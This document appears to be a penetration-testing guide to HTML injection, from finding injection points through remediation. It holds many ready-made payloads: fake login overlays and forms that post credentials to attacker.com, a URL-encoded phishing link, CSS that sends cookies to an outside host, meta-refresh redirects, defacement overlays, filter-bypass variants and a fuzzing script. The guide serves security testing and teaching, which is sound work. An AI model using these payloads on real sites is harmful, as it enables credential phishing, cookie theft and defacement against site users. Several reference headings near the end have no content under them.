HTML Injection Testing

HTML Injection Testing

Purpose

Identify and exploit HTML injection vulnerabilities that allow attackers to inject malicious HTML content into web applications. This vulnerability enables attackers to modify page appearance, create phishing pages, and steal user credentials through injected forms.

Prerequisites

Required Tools

Required Knowledge

Outputs and Deliverables

Core Workflow

Phase 1: Understanding HTML Injection

HTML injection occurs when user input is reflected in web pages without proper sanitization:

<!-- Vulnerable code example -->
<div>
    Welcome, <?php echo $_GET['name']; ?>
</div>
<!-- Attack input -->
?name=<h1>Injected Content</h1>
<!-- Rendered output -->
<div>
    Welcome, <h1>Injected Content</h1>
</div>

Key differences from XSS:

Attack goals:

Phase 2: Identifying Injection Points

Map application for potential injection surfaces:

1. Search bars and search results
Comment sections

User profile fields

Contact forms and feedback

Registration forms

URL parameters reflected on page

Error messages

Page titles and headers

Hidden form fields

Cookie values reflected on page

Common vulnerable parameters:

?name=
?user=
?search=
?query=
?message=
?title=
?content=
?redirect=
?url=
?page=

Phase 3: Basic HTML Injection Testing

Test with simple HTML tags:

<!-- Basic text formatting -->
<h1>Test Injection</h1>
<b>Bold Text</b>
<i>Italic Text</i>
<u>Underlined Text</u>
<font color="red">Red Text</font>
<!-- Structural elements -->
<div style="background:red;color:white;padding:10px">Injected DIV</div>
<p>Injected paragraph</p>
<br><br><br>Line breaks
<!-- Links -->
<a href="http://attacker.com">Click Here</a>
<a href="http://attacker.com">Legitimate Link</a>
<!-- Images -->
<img src="http://attacker.com/image.png">
<img src="x" onerror="alert(1)">  <!-- XSS attempt -->

Testing workflow:

# Test basic injection
curl "http://target.com/search?q=<h1>Test</h1>"
Check if HTML renders in response

curl -s "http://target.com/search?q=<b>Bold</b>" | grep -i "bold"
Test in URL-encoded form

curl "http://target.com/search?q=%3Ch1%3ETest%3C%2Fh1%3E"

Phase 4: Types of HTML Injection

Stored HTML Injection

Payload persists in database:

<!-- Profile bio injection -->
Name: John Doe
Bio: <div style="position:absolute;top:0;left:0;width:100%;height:100%;background:white;">
     <h1>Site Under Maintenance</h1>
     <p>Please login at <a href="http://attacker.com/login">portal.company.com</a></p>
     </div>
<!-- Comment injection -->
Great article!
<form action="http://attacker.com/steal" method="POST">
    <input name="username" placeholder="Session expired. Enter username:">
    <input name="password" type="password" placeholder="Password:">
    <input type="submit" value="Login">
</form>

Reflected GET Injection

Payload in URL parameters:

<!-- URL injection -->
http://target.com/welcome?name=<h1>Welcome%20Admin</h1><form%20action="http://attacker.com/steal">
<!-- Search result injection -->
http://target.com/search?q=<marquee>Your%20account%20has%20been%20compromised</marquee>

Reflected POST Injection

Payload in POST data:

# POST injection test
curl -X POST -d "comment=<div style='color:red'>Malicious Content</div>" \
     http://target.com/submit
Form field injection

curl -X POST -d "name=<script>alert(1)</script>&email=test@test.com" \
     http://target.com/register

URL-Based Injection

Inject into displayed URLs:

<!-- If URL is displayed on page -->
http://target.com/page/<h1>Injected</h1>
<!-- Path-based injection -->
http://target.com/users/<img src=x>/profile

Phase 5: Phishing Attack Construction

Create convincing phishing forms:

<!-- Fake login form overlay -->
<div style="position:fixed;top:0;left:0;width:100%;height:100%;
            background:white;z-index:9999;padding:50px;">
    <h2>Session Expired</h2>
    <p>Your session has expired. Please log in again.</p>
    <form action="http://attacker.com/capture" method="POST">
        <label>Username:</label><br>
        <input type="text" name="username" style="width:200px;"><br><br>
        <label>Password:</label><br>
        <input type="password" name="password" style="width:200px;"><br><br>
        <input type="submit" value="Login">
    </form>
</div>
<!-- Hidden credential stealer -->
<style>
    input { background: url('http://attacker.com/log?data=') }
</style>
<form action="http://attacker.com/steal" method="POST">
    <input name="user" placeholder="Verify your username">
    <input name="pass" type="password" placeholder="Verify your password">
    <button>Verify</button>
</form>

URL-encoded phishing link:

http://target.com/page?msg=%3Cdiv%20style%3D%22position%3Afixed%3Btop%3A0%3Bleft%3A0%3Bwidth%3A100%25%3Bheight%3A100%25%3Bbackground%3Awhite%3Bz-index%3A9999%3Bpadding%3A50px%3B%22%3E%3Ch2%3ESession%20Expired%3C%2Fh2%3E%3Cform%20action%3D%22http%3A%2F%2Fattacker.com%2Fcapture%22%3E%3Cinput%20name%3D%22user%22%20placeholder%3D%22Username%22%3E%3Cinput%20name%3D%22pass%22%20type%3D%22password%22%3E%3Cbutton%3ELogin%3C%2Fbutton%3E%3C%2Fform%3E%3C%2Fdiv%3E

Phase 6: Defacement Payloads

Website appearance manipulation:

<!-- Full page overlay -->
<div style="position:fixed;top:0;left:0;width:100%;height:100%;
            background:#000;color:#0f0;z-index:9999;
            display:flex;justify-content:center;align-items:center;">
    <h1>HACKED BY SECURITY TESTER</h1>
</div>
<!-- Content replacement -->
<style>body{display:none}</style>
<body style="display:block !important">
    <h1>This site has been compromised</h1>
</body>
<!-- Image injection -->
<img src="http://attacker.com/defaced.jpg" 
     style="position:fixed;top:0;left:0;width:100%;height:100%;z-index:9999">
<!-- Marquee injection (visible movement) -->
<marquee behavior="alternate" style="font-size:50px;color:red;">
    SECURITY VULNERABILITY DETECTED
</marquee>

Phase 7: Advanced Injection Techniques

CSS Injection

<!-- Style injection -->
<style>
    body { background: url('http://attacker.com/track?cookie='+document.cookie) }
    .content { display: none }
    .fake-content { display: block }
</style>
<!-- Inline style injection -->
<div style="background:url('http://attacker.com/log')">Content</div>

Meta Tag Injection

<!-- Redirect via meta refresh -->
<meta http-equiv="refresh" content="0;url=http://attacker.com/phish">
<!-- CSP bypass attempt -->
<meta http-equiv="Content-Security-Policy" content="default-src *">

Form Action Override

<!-- Hijack existing form -->
<form action="http://attacker.com/steal">
<!-- If form already exists, add input -->
<input type="hidden" name="extra" value="data">
</form>

iframe Injection

<!-- Embed external content -->
<iframe src="http://attacker.com/malicious" width="100%" height="500"></iframe>
<!-- Invisible tracking iframe -->
<iframe src="http://attacker.com/track" style="display:none"></iframe>

Phase 8: Bypass Techniques

Evade basic filters:

<!-- Case variations -->
<H1>Test</H1>
<ScRiPt>alert(1)</ScRiPt>
<!-- Encoding variations -->
&#60;h1&#62;Encoded&#60;/h1&#62;
%3Ch1%3EURL%20Encoded%3C%2Fh1%3E
<!-- Tag splitting -->
<h
1>Split Tag</h1>
<!-- Null bytes -->
<h1%00>Null Byte</h1>
<!-- Double encoding -->
%253Ch1%253EDouble%2520Encoded%253C%252Fh1%253E
<!-- Unicode encoding -->
\u003ch1\u003eUnicode\u003c/h1\u003e
<!-- Attribute-based -->
<div onmouseover="alert(1)">Hover me</div>
<img src=x onerror=alert(1)>

Phase 9: Automated Testing

Using Burp Suite

1. Capture request with potential injection point
Send to Intruder

Mark parameter value as payload position

Load HTML injection wordlist

Start attack

Filter responses for rendered HTML

Manually verify successful injections

Using OWASP ZAP

1. Spider the target application
Active Scan with HTML injection rules

Review Alerts for injection findings

Validate findings manually

Custom Fuzzing Script

#!/usr/bin/env python3
import requests
import urllib.parse
target = "http://target.com/search"
param = "q"
payloads = [
    "<h1>Test</h1>",
    "<b>Bold</b>",
    "<script>alert(1)</script>",
    "<img src=x onerror=alert(1)>",
    "<a href='http://evil.com'>Click</a>",
    "<div style='color:red'>Styled</div>",
    "<marquee>Moving</marquee>",
    "<iframe src='http://evil.com'></iframe>",
]
for payload in payloads:
    encoded = urllib.parse.quote(payload)
    url = f"{target}?{param}={encoded}"
    
    try:
        response = requests.get(url, timeout=5)
        if payload.lower() in response.text.lower():
            print(f"[+] Possible injection: {payload}")
        elif "<h1>" in response.text or "<b>" in response.text:
            print(f"[?] Partial reflection: {payload}")
    except Exception as e:
        print(f"[-] Error: {e}")

Phase 10: Prevention and Remediation

Secure coding practices:

// PHP: Escape output
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
// PHP: Strip tags
echo strip_tags($user_input);
// PHP: Allow specific tags only
echo strip_tags($user_input, '<p><b><i>');

# Python: HTML escape
from html import escape
safe_output = escape(user_input)
Python Flask: Auto-escaping

{{ user_input }}  # Jinja2 escapes by default
{{ user_input | safe }}  # Marks as safe (dangerous!)

// JavaScript: Text content (safe)
element.textContent = userInput;
// JavaScript: innerHTML (dangerous!)
element.innerHTML = userInput;  // Vulnerable!
// JavaScript: Sanitize
const clean = DOMPurify.sanitize(userInput);
element.innerHTML = clean;

Server-side protections:

Quick Reference

Common Test Payloads

Injection Contexts

Encoding Types

Constraints and Limitations

Attack Limitations

Testing Considerations

Severity Assessment

Troubleshooting